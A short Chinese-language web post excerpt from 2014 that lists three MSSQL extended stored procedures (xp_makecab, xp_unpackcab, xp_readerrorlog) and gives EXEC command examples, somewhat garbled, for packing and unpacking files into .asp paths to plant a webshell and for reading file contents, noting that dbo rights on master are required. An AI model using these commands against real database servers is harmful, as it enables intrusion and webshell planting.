发布时间:2014-06-06 16:43:29
注意3个MSSQL扩展,可被用来获取WEBSHELL EXEC .master...dbo...xp_makecab. c:\test.rar ,'default ,1, d:\cmd.asp 打包 EXEC .master...dbo...xp_unpackcab. C:\test.rar ,'c: ,1, n.asp 解包, 能够用于得到webshell EXEC .master...dbo...xp_readerrorlog. 1, d:\cmd.asp 读文本代码 请求权限: master的dbo.........【阅读全文】